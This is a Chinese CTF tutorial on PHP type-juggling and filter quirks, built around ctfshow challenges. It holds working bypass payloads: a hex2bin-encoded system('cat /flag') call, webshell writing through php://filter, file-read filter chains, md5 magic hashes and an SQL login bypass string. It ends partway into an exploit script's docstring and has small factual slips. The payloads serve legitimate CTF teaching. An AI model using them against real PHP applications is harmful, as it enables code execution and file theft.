php特性


有关php的一些特性

看看php特性

结合ctfshow的php特性篇使用效果更佳

前置知识

正则表达式:

元字符 含义描述
\d 匹配任意一个十进制数字,等价于[0-9]
\D 匹配任意一个除十进制数字以外的字符,等价于**[^0-9]**
\s 匹配任意一个空白字符,等价于[\f\n\r\t\v]
\S 匹配任意一个非空白字符,等价于**[^\f\n\r\t\v]**
\w 匹配任意一个数字、字母或下划线,等价于[0-9a-zA-Z_]
\W 匹配除数字、字母或下划线外的任意一个字符,等价于**[^0-9a-zA-Z_]**
***** 匹配0次、一次或多次其前的原子
+ 匹配1次或多次其前的原子
? 匹配0次或者1次其前的原子
. 匹配除了换行以外的任意一个字符
| 匹配两个或多个分支选择
{n} 表示其前面的原子恰好出现n次
{n, } 表示前面的原子出现不少于n次
{n, m} 表示其前面的原子至少出现n次,至多出现m次
^或\A 匹配输入字符串的开始位置,或者是紧随一换行符之后
$或\Z 匹配输入字符串的结束位置,或者是紧随一换行符之前
\b 匹配单词的边界
\B 匹配除单词边界以外的部分
[] 匹配方括号中指定的任意一个原子
[^] 匹配方括号中的原子除外的任意一个字符
0 匹配其整体为一个原子,即模式单元

模式修正符

模式修正符号 功能描述
i 在和模式进行匹配时不区分大小写
m 将字符串视作多行,默认正则的开始"^“和结束”$“将目标字符串视作为单一的一行字符。如果在修饰符中加上"m”,那么开始和结束将会指向字符串的每一行
s 此修正符会使得"."匹配所有的字符,包括换行符。即将字符串视作为单行,换行符看作普通字符
x 模式中的空白忽略不计,除非被转义
e 只用在preg_replace()中,在替换字符串中将其作为php代码求值,并且用其代替的结果来替换所搜索的字符串
U 贪婪模式,最大限度匹配
D $只匹配目标字符串的结尾

正片

preg_match()

  • preg_match()只能够处理字符串,当传入的值为数组时,会返回false

例如ctfshow web89:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>

intval()函数成功时返回varinteger值,失败时返回0,而空的array返回0,非空的array返回1

但是preg_match匹配到数字就会进入no no no!

所以我们此时可以使用数组绕过preg_match(),同时利用intval()会对数组返回1的特性进行绕过:

1
?num[]=1
  • 通过换行绕过某些限制,在一些正则表达式不恰当的书写时可能便会产生,例如ctfshow web91:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

这里需要我们传入的值为php,但是如果匹配到php就会返回hacker,似乎是一个矛盾的问题

但是仔细看发现这两个preg_match()的模式修正符似乎有些不一样

1
2
3
4
preg_match('/^php$/im', $a);
#im: i是忽略大小写,而m是将字符串视为多行匹配
preg_match('/^php$/i', $a);
#i: 忽略大小写

可以看到前面一个im能够匹配多行的字符串,但是后面一个只能匹配第一行。所以我们可以通过换行符%0a来进行绕过:

1
cmd=%0aphp

这样 im就会匹配到php,而i没有匹配到php,成功绕过

  • PHP为防止正则表达式的拒绝服务攻击,给pcre设定了回溯次数上限为100万次,如果超过了这个数,preg_match将会返回false

这里的话可以去参考p神的文章

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

他讲的十分地详细,包括整个正则表达式的匹配过程是如何匹配的:

比如说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#一个正则表达式如下:
/<\?.*[(`;?>)].*/is ;
#假设我们传入<?php phpinfo();//aaaaa
/**它会先 step1:匹配<
然后step2:匹配?

然后step3:.*匹配全部的字符,此时<?php phpinfo();//aaaaa全部匹配完成

但是这是不对的,因为后面还有个中括号没匹配,此时就会开始回溯,step4: 吐出一个a 此时匹配的字符串为:<?php phpinfo();//aaaa

但是正则还没有匹配到啊,继续step5: 吐出一个a
变为:<?php phpinfo();//aaa
step6、7、...
一直到<?php phpinfo(); 吐出;后变为 <?php phpinfo()
此时成功匹配到分号,匹配的句子变为:
<?php phpinfo();

之后再继续下一个正则表达式.* 最后变成:
<?php phpinfo();//aaaaa
**/

所以说当这个过程重复超过100万次的话,preg_match()将会直接返回false,从而绕过preg_match限制

上面是基于.*的贪婪模式进行匹配的

.+?这种非贪婪模式的匹配如下:

1
2
3
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}

假设输入的是UNION/*aaaaa*/SELECT

1
2
3
4
5
6
首先,正则表达式.+?匹配到 /
然后由于非贪婪模式,.+?停止匹配,而由S来匹配*
S不匹配,继续匹配到a
然后S与a也不匹配,继续向右匹配,直至匹配到S

由此,我们也可以通过输入大量的a来进行绕过(100万个即可)

例如ctfshow web130:

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

题目原意是利用php的pcre回溯次数限制来进行绕过preg_match

如果我们输入aaactfshow的话

.+?首先匹配ctfshow前面的aaa中的第一个a,然后由c匹配a…

所以我们可以输入100万个a,然后后面加上ctfshow来绕过

但是这题也可以通过另一个方法来解决,就是直接输入

1
f=ctfshow

此时.+?ctfshow不会匹配ctfshow

这里可以自行去正则表达式在线工具进行测试

intval()

适用范围

经过本人测试,在PHP版本7.4下,下文中的intval($num) <2023并且intval($num+1)>2024失效,同样会将$num转换为科学计数法后的结果。

同理,我可能也不会再介绍sleep((int)$time)在的绕过,高版本下的php已经修复科学计数法的特性

要出题的话只能将PHP的版本降低来出

正片

官方文档解释中,intval是这样描述的:

1
2
3
4
5
6
7
成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1。

最大的值取决于操作系统。32为系统最大带符号的integer范围是-2147483648到2147483647。

例如,在32位系统中, intval('1000000000000') 会返回2147483647。而64位系统中,最大带符号的integer值为9223372036854775807

字符串有可能返回0,虽然取决于字符串最左侧的字符。

对于intval函数的一些特性,都可以在下面的代码中看出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
echo intval(42); //42
echo intval(4.2); //4
echo intval('42'); //42
echo intval('+42'); //42
echo intval('-42'); //-42
echo intval(042); //34 将八进制的42转为10进制是34
echo intval('042'); //42
echo intval(1e10); //1410065408
echo intval('1e10'); //1
echo intval(0x1A); //26 将十六进制的1A转为10进制是26
echo intval(42000000); //42000000
echo intval(1000000000000); //0
echo intval('1000000000000'); //2147483647
echo intval(42, 8); //42
echo intval('42', 8); //34
echo intval(array()); //0
echo intval(array('foo','bar'));//1
echo intval(true); //1
echo intval(false); //0
?>
  • 字符绕过

对于intval而言,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的字符串所表达的整数值。

也就是我们经常用到的数字加一个字母绕过:

1
2
3
4
5
6
7
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}

1
2
?num=4476a
即可绕过
  • 科学计数法绕过

在intval中:有两种情况可以适用该方式绕过

第一种:

1
2
3
4
5
6
7
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}

如果后面是intval($num, 0)的话,会有如下特性:

  • 遇到字母便会停止读取

  • 如果字符串使用0x前缀,使用16进制

  • 如果以0开始,使用8进制,否则使用10进制

但是e可以表示科学计数法:

1
?num=4476e123456

即可绕过,为什么呢?

这里num和int型作比较,转换规律是遇到第一个字母时,将字母和其后面的内容省略,然后转换为int型进行比较

例如4476a会将a舍去,变为(int)4476,此时会die(no no no!)

但是e不一样,e是科学计数法,在进行比较时,4476e1相当于4476*10=44760,不等于(int)4476

但是遇到intval($num, 0)时,会舍弃掉e和后面的部分,变为4476

从而成功绕过

此处先讲特性1,后续两个特性会在下面讲到

第二种:

1
intval(num)<2022&&intval(num+1)>2023

此时的话需要输入一个num使得intval(num)<2022,但是其+1后的intval大于2023

此处便是科学计数法的妙用:

1
2
echo intval('3e3'); //3
echo intval('3e3' + 1); //3001,相当于3*10^3+1

这样就能够使前面变为小于2022,但是后面大于2023了

  • 进制绕过

如果后面是intval($num, 0)的话,会有如下特性:

  • 遇到字母便会停止读取

  • 如果字符串使用0x前缀,使用16进制

  • 如果以0开始,使用8进制,否则使用10进制

接下来就是后两个的应用:

1
2
3
4
5
6
7
8
9
10
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}

这里由于限制,我们无法输入字母了,而且num在类型转换后不能等于4476

这里我们便可以使用进制绕过,利用

010574 转换为10进制后为4476

  • 小数点绕过:

前提是匹配的是字符型的4476:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){//不能使用0开头的字符
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

这里输入4476.0即可绕过

因为intval(4476.0) = 4476'4476.0'!='4476'

对于弱比较类型的绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
//?a=240610708&b=s155964671a
$a=240610708;
$b='s155964671a';
$c='1024.1a';
echo(intval($c));
if($c!=1024){
echo "yes!";
}
else{
echo "no...";
}
if ($a != $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
echo "you win";
}
}
?>

注意看!is_numeric这一行即可,利用a绕过!is_numeric

利用小数点,经过弱比较后会变为1024.1绕过$c!=1024

利用intval函数使得$c=1024

  • 空格的妙用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

这里把.过滤了,但是我们前面说了,0不能在第一位而已,而intval函数会将 %204476也看为数字

这里在前面加个空格,利用010574即可

1
?num=%20010574

strpos()

上文讲过strpos的绕过了:

1
2
strpos($a, $b, "position");
#从字符串a中搜索字符串b,position为可选择选项,为搜索开始的位置,返回第一次出现的位置

利用%20、%0a、%2b都可以绕过

1
strpos($num,"0");

当然还有另一种,也就是我们数组的绕过:

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$flag = "flag";

if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

?>

由于strpos()无法处理数组,如果输入的是数组,便会返回null,而null自然不等于false

md5()

md5涉及到的一般有:

  • MD5弱类型比较
  • MD5强类型比较
  • MD5碰撞
  • 数据库

按顺序来讲:

  • md5的弱类型比较

非常的简单的例子:

1
2
3
4
5
<?php
if(md5($_GET['a'])==md5($_GET['b'])&&$_GET['a']!=$_GET['b']){
echo "You Win";
}
?>

这里的话可以使用强类型比较的方式进行绕过,也可以利用弱类型比较的方式进行绕过

弱类型比较的意思就是,在遇到不同类型的比较时,例如字符串和数字

字符串会进行下列步骤:

  1. 如果字符串开头是字母,直接等于0
  2. 如果不为字母,则截止到遇到的第一个字母。例如132a会被保留为123

但是对于e来说,它在php内可以用作科学计数法。

例如var_dump('0e123456' == '0e23232323')会返回true

要想绕过弱比较,只需要找到md5后为0e开头的即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

当然,第二种情况就是$a==md5($a)

这种就需要我们找到一个0e开头的字符串,其md5后的值也是0e开头的:

1
2
3
4
5
6
7
8
9
0e215962017 0e291242476940776845150308577824

0e1284838308 0e708279691820928818722257405159

0e1137126905 0e291659922323405260514745084877

0e807097110 0e318093639164485566453180786895

0e730083352 0e870635875304277170259950255928
  • md5强类型比较:

换成了===,这个时候就会比较类型了,但是这个强等于还是可以通过数组进行绕过:

1
2
3
4
5
<?php
if(md5($_GET['a'])===md5($_GET['b'])&&$_GET['a']!==$_GET['b']){
echo "You Win";
}
?>

当md5传入数组时,md5无法求出array的md5的值,所以会导致任意两个array的md5值都相等

当然,弱类型比较也是可以用数组绕过去的,我推荐用这种方法做两种类型的比较题

  • md5碰撞

在强类型比较上加了一点东西:

1
2
3
4
5
<?php
if(md5((string)$_GET['a'])===md5((string)$_GET['b'])&&$_GET['a']!==$_GET['b']){
echo "You Win";
}
?>

强制你要求传入的是string的时候,只能来寻找两个确实不一样,但是md5值是一样的string

当然,这点可以通过脚本来实现:

Fastcoll.exe,用于快速生成两个md5值一样的不同字符串

使用方法:

1
2
3
1. 创建一个txt,写入任意内容,例如pwp 并且命名为init.txxt
2. 运行fastcoll:
fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt

此时生成两个txt文件,直接使用是不行的,我们还要对其进行urlencode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("1.txt"));
$b = urlencode(readmyfile("2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
?>

我生成的两个字符串是这样的:

1
2
3
pwp%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%91%E6%F0aZ%7CF%BFk%D0%E0%B4%9B%2A%1B%60%81%C7OH%ACWBt%2A%EAw%8D%F21%0F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9E%A3%A6X%DF%E9%EA%8F%16%87e%3CX%B0%D38%CFN%16v%81%0F%C9%12%98%92%5B%A1sO0XJ%9C%E5c%BD%21%1F_t%D6%F2%FF%0D%B3%00%C7%2B%60H%C7%CB%8D%0C%28%97E%FF%7D%F6%3C%C2%9A%1C%40%1B%C7%B6%0D%88%B3UD%D7%82EM5%C4%19w%CCP

pwp%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%91%E6%F0aZ%7CF%BFk%D0%E0%B4%9B%2A%1B%60%81%C7O%C8%ACWBt%2A%EAw%8D%F21%0F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9E%23%A7X%DF%E9%EA%8F%16%87e%3CX%B0%D3%B8%CFN%16v%81%0F%C9%12%98%92%5B%A1sO0XJ%9C%E5c%BD%21%1F%DFt%D6%F2%FF%0D%B3%00%C7%2B%60H%C7%CB%8D%0C%28%97E%FF%7D%F6%3C%C2%9A%1C%C0%1A%C7%B6%0D%88%B3UD%D7%82EM5D%19w%CCP

当然,网上还有比较常见的:

1
2
3
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
  • 数据库

只需记住ffifdyop

因为有些数据库的查询语句是:

1
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";

这个字符串进行md5之后转换为字符串的结果恰好是:

'or'6�]��!r,��b

相当于万能密码

  • Extra,其他加密算法的碰撞(例如md4、CRC32等):

参考github: spaze/hashes:魔术哈希 – PHP 哈希“碰撞” (github.com)

strcmp

newstarctf的一个姿势,同样利用数组绕过即可

file_put_contents

1
file_put_contents(string $filename, mixed $data)

向filename写入data

常用于写入一句话木马等操作

in_array()

in_array用于搜索数组中是否存在这个元素:

1
2
3
4
in_array(search, array, type);
#搜索array中是否存在search
#如果type=true的话,会检查搜索的数据与数组的值的类型是否相同
#如果没有设置type的话,就会形成自动转换,例如输入1.php 就会转换为1

简单的利用其实就是:

1
2
3
4
5
6
7
8
9
10
11
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system('ls');?>
//再访问/1.php即可
}

优先级关系

  • and、or、&&、||和=

看几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); //true
var_dump($b2); //false

$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); //false
var_dump($b4); //true
?>

可以看出=的优先级关系比and和or都要

=的优先级关系比&&和||要低

所以我们可以利用其优先级关系来进行一些绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

看似需要我们写rce就不能够绕过is_numeric

但实际上由于=优先级大于and,我们其实只需要看$v0 = is_numeric($v1)即可,也就是令v1为任意数字(除了0)即可

  • GET和POST

http协议的get优先级比较高,默认先以get方式获取数据,无论是哪种方式发起的,都先以GET方式有限,即用GET数据获取到的数据就不会用POST方式获取一遍,get方式获取不到的,再用POST方式获取

ReflectionClass反射类

反射类就是一个类的映射:

比如说一个类

1
2
3
4
5
<?php
class News{
...
}
?>

我们php中正常实例化一个类是这样的:

1
$n = new News;

所以,如果我们需要实例化News类的反射类是这样的:

1
$reflection = new ReflectionClass('News');

通过ReflectionClass可以获取到这个类的详细信息,从而对类进行分析。

具体看下面这个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Student{
private $name;
public function setName($name){
$this->name = $name;
}
protected function getName(){
return $this->name;
}
}
#然后使用reflectionclass:
$ref = new ReflectionClass(Student::class);
var_dump($ref->getMethods());

#返回结果如下:
array(1){
[0]=>
object(ReflectionMethod)#2 (2){
["name"]=>
string(7) "setName"
["class"]=>
string(7) "Student"
}
}

下面是一些ReflectionClass的常用方法:

1
2
3
4
5
6
7
8
ReflectionClass::getMethods     获取方法的数组
ReflectionClass::getName 获取类名
ReflectionClass::hasMethod 检查方法是否已定义
ReflectionClass::hasProperty 检查属性是否已定义
ReflectionClass::isAbstract 检查类是否是抽象类(abstract)
ReflectionClass::isFinal 检查类是否声明为 final
ReflectionClass::isInstantiable 检查类是否可实例化
ReflectionClass::newInstance 从指定的参数创建一个新的类实例

可以利用ReflectionMethod构建一个类的对象,具体方式:

1
2
3
4
5
$stu = new Student();
$ref = new ReflectionClass(Student::class);
$method = $ref->getMethod('setName');
$method->invoke($stu, 'john');
var_dump($stu->name);

利用invoke方法初始化了一个name为john的student对象

输出 john

1
2
3
4
5
6
7
8
9
10
11
ReflectionMethod::invoke        执行
ReflectionMethod::invokeArgs 带参数执行
ReflectionMethod::isAbstract 判断方法是否是抽象方法
ReflectionMethod::isConstructor 判断方法是否是构造方法
ReflectionMethod::isDestructor 判断方法是否是析构方法
ReflectionMethod::isFinal 判断方法是否定义 final
ReflectionMethod::isPrivate 判断方法是否是私有方法
ReflectionMethod::isProtected 判断方法是否是保护方法 (protected)
ReflectionMethod::isPublic 判断方法是否是公开方法
ReflectionMethod::isStatic 判断方法是否是静态方法
ReflectionMethod::setAccessible 设置方法是否访问

如果不指定方法的话,就会输出很多的东西,但我们使用echo new ReflectionClass即可输出类内的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

这里使用ReflectionClass获取类内容:

1
?v1=1&v2=echo new ReflectionClass&v3=;

call_user_func()

当然啦,提到命令执行,就不得不提到有关一些命令执行的函数。

我们比较熟悉的一般是eval、passthru、exec、shell_exec、system等

比较陌生的之前讲过一个,是proc_open

而这个call_user_func呢,也可以作为命令执行的函数

如果他有两个参数的话,就会相当于:

1
2
3
call_user_func($a, $b);
#相当于:
$a($b);

这个也是比较危险的函数

hex2bin()

将十六进制转化为字符串:

例如:

1
2
echo hex2bin('6c73');
#ls

注意,hex2bin不能够输入0x的十六进制!

直接输入0x后面部分即可

对于有些地方有奇效:

hex2bin()命令执行

看看这个例子:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

blacklist过滤了很多,但是没有过滤hex2bin、单引号

利用hex2bin构造我们的命令:

1
system('cat /flag');

将其转化为hex2bin的形式:

1
hex2bin('system的十六进制')(hex2bin('cat /flag的十六进制'));

然后百度一下即可:

1
2
3
system --> 73797374656d

cat /flag --> 636174202f666c6167

payload:

1
aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

hex2bin()搭配file_put_contents

is_numeric输入参数的情况下,需要我们写入shell获取flag的时候,可以利用hex2bin:

1
2
3
4
5
6
//一个非常巧妙的读取文件方法:
$a = '<?=`cat *`;';
//$a经过base64加密和bin2hex(也就是hex2bin的逆操作)后会变成
#5044383959474e6864434171594473
//而e在is_numeric中算作科学计数法,所以通过is_numeric
//而写入时,可以使用php伪协议进行包含,获取flag:

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

payload:

1
2
3
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:
v1=hex2bin

PHP伪协议

PHP伪协议的利用方式有两种,一种是读文件,而另一种就是写文件了。

读文件

我们比较常用的方法就是利用文件包含的方式来读文件:

例如:

1
php://filter/read=convert.base64-encode/resource=flag.php

最经典的就是文件包含一个get传参的参数了,直接打

如果过滤了base64,我们还可以换用其他的filter来进行读文件操作,或者直接不使用filter

1
2
3
4
php://filter/resource=flag.php		
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php //可打印字符引用编码
compress.zlib://flag.php //压缩流

伪协议还能够支持多种编码方式:

1
2
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
#当前面的有效时,无效的ctfshow就会被忽略掉

写文件

配合file_put_contents可以将base64的内容解码后写入目标文件中:

1
str=...&filename=php://filter/write=convert.base64-decode/resource=1.php

拓展:侧信道+filter攻击

参考一下这位师傅的blog:

Webの侧信道初步认识 | Boogiepop Doesn’t Laugh (boogipop.com)

常常利用于无回显的文件读取中,例如file函数

file函数可以利用php的filter伪协议

1
<?php file($_POST[0]);?

对于filterchain的攻击原理如下

PHP Filter链——基于oracle的文件读取攻击 - 先知社区 (aliyun.com)

省流的话:其实就是利用iconv的filter造成溢出,导致服务器返回500,然后根据dechunk的filter来确定第一个字符,再利用iconv将剩余的字符和第一个字符交换

利用脚本进行文件的读取即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
